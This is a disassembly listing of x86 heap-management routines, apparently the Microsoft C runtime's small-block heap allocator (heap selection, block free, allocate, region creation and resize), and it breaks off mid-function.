sub_41AB6F proc near ; CODE XREF: ___:0041ACD2p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call near ptr 2700B59h
nop
cmp word ptr [eax], 5A4Dh
jnz short loc_41AB9A
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41AB9A
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41AB9A: ; CODE XREF: sub_41AB6F+15j
; sub_41AB6F+1Cj
pop esi
retn
sub_41AB6F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_417B30
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
nop
call near ptr 2771415h
test eax, eax
jz short loc_41ABDF
cmp dword ptr [ebp-88h], 2
jnz short loc_41ABDF
cmp dword ptr [ebp-94h], 5
jb short loc_41ABDF
push 1
pop eax
jmp loc_41ACE1
; ---------------------------------------------------------------------------
loc_41ABDF: ; CODE XREF: ___:0041ABC3j
; ___:0041ABCCj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
nop
call near ptr 2820000h
test eax, eax
jz loc_41ACCE
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41AC21
loc_41AC0E: ; CODE XREF: ___:0041AC1Fj
mov al, [ecx]
cmp al, 61h
jl short loc_41AC1C
cmp al, 7Ah
jg short loc_41AC1C
sub al, 20h
mov [ecx], al
loc_41AC1C: ; CODE XREF: ___:0041AC12j
; ___:0041AC16j
inc ecx
cmp [ecx], bl
jnz short loc_41AC0E
loc_41AC21: ; CODE XREF: ___:0041AC0Cj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_418DA0
add esp, 0Ch
test eax, eax
jnz short loc_41AC43
lea eax, [ebp-122Ch]
jmp short loc_41AC8C
; ---------------------------------------------------------------------------
loc_41AC43: ; CODE XREF: ___:0041AC39j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
call near ptr 2640000h
nop
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41AC77
loc_41AC64: ; CODE XREF: ___:0041AC75j
mov al, [ecx]
cmp al, 61h
jl short loc_41AC72
cmp al, 7Ah
jg short loc_41AC72
sub al, 20h
mov [ecx], al
loc_41AC72: ; CODE XREF: ___:0041AC68j
; ___:0041AC6Cj
inc ecx
cmp [ecx], bl
jnz short loc_41AC64
loc_41AC77: ; CODE XREF: ___:0041AC62j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_417880
pop ecx
pop ecx
loc_41AC8C: ; CODE XREF: ___:0041AC41j
cmp eax, ebx
jz short loc_41ACCE
push 2Ch
push eax
call sub_418F50
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41ACCE
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41ACB3
loc_41ACA5: ; CODE XREF: ___:0041ACB1j
cmp byte ptr [ecx], 3Bh
jnz short loc_41ACAE
mov [ecx], bl
jmp short loc_41ACAF
; ---------------------------------------------------------------------------
loc_41ACAE: ; CODE XREF: ___:0041ACA8j
inc ecx
loc_41ACAF: ; CODE XREF: ___:0041ACACj
cmp [ecx], bl
jnz short loc_41ACA5
loc_41ACB3: ; CODE XREF: ___:0041ACA3j
push 0Ah
push ebx
push eax
call sub_41881C
add esp, 0Ch
cmp eax, 2
jz short loc_41ACE1
cmp eax, 3
jz short loc_41ACE1
cmp eax, 1
jz short loc_41ACE1
loc_41ACCE: ; CODE XREF: ___:0041ABF8j
; ___:0041AC8Ej ...
lea eax, [ebp-4]
push eax
call sub_41AB6F
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41ACE1: ; CODE XREF: ___:0041ABDAj
; ___:0041ACC2j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5306E850h, 85900241h
dd 0B684A3C0h, 36740048h, 0FFFE93E8h, 3F883FFh, 48B688A3h
dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h
dd 0C0850000h, 35FF0F75h, 48B684h, 5F7FE890h, 0C0330240h
dd 58016AC3h, 14068C3h, 6A0000h, 0B68435FFh, 0ADE80048h
dd 90022D52h, 7CA3C085h, 750048B6h, 4C8BC301h, 25830424h
dd 48B674h, 78258300h, 48B6h, 70A3016Ah, 890048B6h, 48B6800Dh
dd 6805C700h, 100048B6h, 58000000h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p
; sub_41944F+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_48B678
lea ecx, [eax+eax*4]
mov eax, dword_48B67C
lea ecx, [eax+ecx*4]
loc_41AD99: ; CODE XREF: sub_41AD89+26j
cmp eax, ecx
jnb short loc_41ADB1
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41ADB3
add eax, 14h
jmp short loc_41AD99
; ---------------------------------------------------------------------------
loc_41ADB1: ; CODE XREF: sub_41AD89+12j
xor eax, eax
locret_41ADB3: ; CODE XREF: sub_41AD89+21j
retn
sub_41AD89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p
; sub_41944F+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41B0D8
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41AE8A
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41AE18
push 3Fh
pop edx
loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41AE6C
cmp edx, 20h
jnb short loc_41AE43
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41AE64
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41AE64
; ---------------------------------------------------------------------------
loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41AE64
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41AE64: ; CODE XREF: sub_41ADB4+86j
; sub_41ADB4+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41AE6F
; ---------------------------------------------------------------------------
loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj
mov ecx, [ebp+var_4]
loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41AE8A: ; CODE XREF: sub_41ADB4+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41AE98
push 3Fh
pop edx
loc_41AE98: ; CODE XREF: sub_41ADB4+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41AF3B
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41AEBD
mov ebx, esi
loc_41AEBD: ; CODE XREF: sub_41ADB4+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41AECF
mov edx, esi
loc_41AECF: ; CODE XREF: sub_41ADB4+117j
cmp ebx, edx
jz short loc_41AF36
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41AF1E
cmp ebx, 20h
jnb short loc_41AEFF
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41AF1E
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41AF1E
; ---------------------------------------------------------------------------
loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41AF1E
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41AF1E: ; CODE XREF: sub_41ADB4+128j
; sub_41ADB4+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41AF3E
; ---------------------------------------------------------------------------
loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj
mov ebx, [ebp+arg_0]
loc_41AF3E: ; CODE XREF: sub_41ADB4+185j
cmp [ebp+var_C], 0
jnz short loc_41AF4C
cmp ebx, edx
jz loc_41AFCD
loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41AFCD
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41AFA4
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41AF93
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41AFCD
; ---------------------------------------------------------------------------
loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41AFBA
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41AFCD: ; CODE XREF: sub_41ADB4+192j
; sub_41ADB4+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41B0D8
mov eax, dword_48B674
test eax, eax
jz loc_41B0CA
mov ecx, dword_48B66C
mov esi, dword_4241B0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_48B66C
mov eax, dword_48B674
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_48B674
mov ecx, dword_48B66C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_48B674
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_48B674
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41B05B
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_48B674
loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41B0CA
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_48B674
push dword ptr [eax+10h]
push 0
push dword_48B684
nop
call near ptr 26E0000h
mov eax, dword_48B678
mov edx, dword_48B67C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_48B674
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_4182C0
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_48B678
cmp eax, dword_48B674
jbe short loc_41B0C0
sub [ebp+arg_0], 14h
loc_41B0C0: ; CODE XREF: sub_41ADB4+306j
mov eax, dword_48B67C
mov dword_48B670, eax
loc_41B0CA: ; CODE XREF: sub_41ADB4+234j
; sub_41ADB4+2ABj
mov eax, [ebp+arg_0]
mov dword_48B66C, edi
mov dword_48B674, eax
loc_41B0D8: ; CODE XREF: sub_41ADB4+38j
; sub_41ADB4+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41ADB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p
; sub_41944F+77p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_48B678
mov edx, dword_48B67C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41B11D
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41B12D
; ---------------------------------------------------------------------------
loc_41B11D: ; CODE XREF: sub_41B0DD+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej
mov eax, dword_48B670
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41B154
loc_41B13B: ; CODE XREF: sub_41B0DD+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41B154
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41B13B
loc_41B154: ; CODE XREF: sub_41B0DD+5Cj
; sub_41B0DD+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41B1D2
mov ebx, edx
loc_41B15B: ; CODE XREF: sub_41B0DD+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41B177
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41B175
add ebx, 14h
jmp short loc_41B15B
; ---------------------------------------------------------------------------
loc_41B175: ; CODE XREF: sub_41B0DD+91j
cmp ebx, eax
loc_41B177: ; CODE XREF: sub_41B0DD+83j
jnz short loc_41B1D2
loc_41B179: ; CODE XREF: sub_41B0DD+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41B18F
cmp dword ptr [ebx+8], 0
jnz short loc_41B18C
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41B179
; ---------------------------------------------------------------------------
loc_41B18C: ; CODE XREF: sub_41B0DD+A5j
cmp ebx, [ebp+var_4]
loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj
jnz short loc_41B1B7
mov ebx, edx
loc_41B193: ; CODE XREF: sub_41B0DD+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41B1A7
cmp dword ptr [ebx+8], 0
jnz short loc_41B1A5
add ebx, 14h
jmp short loc_41B193
; ---------------------------------------------------------------------------
loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j
cmp ebx, eax
loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj
jnz short loc_41B1B7
call sub_41B3E6
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41B1CB
loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj
; sub_41B0DD:loc_41B1A7j
push ebx
call sub_41B497
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41B1D2
loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j
xor eax, eax
jmp loc_41B3E1
; ---------------------------------------------------------------------------
loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj
; sub_41B0DD:loc_41B177j ...
mov dword_48B670, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41B1F9
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41B230
loc_41B1F9: ; CODE XREF: sub_41B0DD+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41B22D
loc_41B216: ; CODE XREF: sub_41B0DD+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41B216
loc_41B22D: ; CODE XREF: sub_41B0DD+137j
mov edx, [ebp+var_4]
loc_41B230: ; CODE XREF: sub_41B0DD+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41B259
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41B259: ; CODE XREF: sub_41B0DD+16Dj
; sub_41B0DD+183j
test ecx, ecx
jl short loc_41B262
shl ecx, 1
inc edi
jmp short loc_41B259
; ---------------------------------------------------------------------------
loc_41B262: ; CODE XREF: sub_41B0DD+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41B27F
push 3Fh
pop esi
loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj
cmp esi, edi
jz loc_41B394
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41B2F0
cmp edi, 20h
jge short loc_41B2BF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41B2ED
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41B2F0
; ---------------------------------------------------------------------------
loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41B2ED
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41B2F0
; ---------------------------------------------------------------------------
loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j
; sub_41B0DD+203j
mov ebx, [ebp+arg_0]
loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j
; sub_41B0DD+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41B3A0
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41B391
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41B362
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41B350
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41B350: ; CODE XREF: sub_41B0DD+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41B391
; ---------------------------------------------------------------------------
loc_41B362: ; CODE XREF: sub_41B0DD+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41B37B
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41B391: ; CODE XREF: sub_41B0DD+24Ej
; sub_41B0DD+283j
mov ecx, [ebp+var_8]
loc_41B394: ; CODE XREF: sub_41B0DD+1A4j
test ecx, ecx
jz short loc_41B3A3
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41B3A3
; ---------------------------------------------------------------------------
loc_41B3A0: ; CODE XREF: sub_41B0DD+229j
mov ecx, [ebp+var_8]
loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j
; sub_41B0DD+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41B3D9
cmp ebx, dword_48B674
jnz short loc_41B3D9
mov ecx, [ebp+var_4]
cmp ecx, dword_48B66C
jnz short loc_41B3D9
and dword_48B674, 0
loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j
; sub_41B0DD+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41B0DD endp
; =============== S U B R O U T I N E =======================================
sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp
mov eax, dword_48B678
mov ecx, dword_48B668
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41B429
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_48B67C
push edi
push dword_48B684
nop
call near ptr 2800000h
cmp eax, edi
jz short loc_41B479
add dword_48B668, 10h
mov dword_48B67C, eax
mov eax, dword_48B678
loc_41B429: ; CODE XREF: sub_41B3E6+11j
mov ecx, dword_48B67C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_48B684
lea esi, [ecx+eax*4]
nop
call near ptr 26F0000h
cmp eax, edi
mov [esi+10h], eax
jz short loc_41B479
push 4
push 2000h
push 100000h
push edi
call near ptr 2830702h
nop
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41B47D
push dword ptr [esi+10h]
push edi
push dword_48B684
nop
call near ptr 26E0000h
loc_41B479: ; CODE XREF: sub_41B3E6+30j
; sub_41B3E6+67j
xor eax, eax
jmp short loc_41B494
; ---------------------------------------------------------------------------
loc_41B47D: ; CODE XREF: sub_41B3E6+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_48B678
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41B494: ; CODE XREF: sub_41B3E6+95j
pop edi
pop esi
retn
sub_41B3E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41B4A9: ; CODE XREF: sub_41B497+19j
test eax, eax
jl short loc_41B4B2
shl eax, 1
inc ebx
jmp short loc_41B4A9
; ---------------------------------------------------------------------------
loc_41B4B2: ; CODE XREF: sub_41B497+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41B4C7: ; CODE XREF: sub_41B497+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41B4C7
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
nop
call near ptr 2830702h
test eax, eax
jnz short loc_41B4FA
or eax, 0FFFFFFFFh
jmp loc_41B58D
; ---------------------------------------------------------------------------
loc_41B4FA: ; CODE XREF: sub_41B497+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41B540
lea eax, [edi+10h]
loc_41B507: ; CODE XREF: sub_41B497+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41B507
loc_41B540: ; CODE XREF: sub_41B497+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41B57D
or [eax+4], edi
loc_41B57D: ; CODE XREF: sub_41B497+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41B58D: ; CODE XREF: sub_41B497+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41B497 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41B740
test bl, 1
jnz loc_41B739
add ebx, ecx
cmp esi, ebx
jg loc_41B739
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41B609
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41B609: ; CODE XREF: sub_41B592+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41B659
cmp ecx, 20h
jnb short loc_41B635
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41B659
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41B659
; ---------------------------------------------------------------------------
loc_41B635: ; CODE XREF: sub_41B592+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41B659
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41B659: ; CODE XREF: sub_41B592+7Dj
; sub_41B592+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
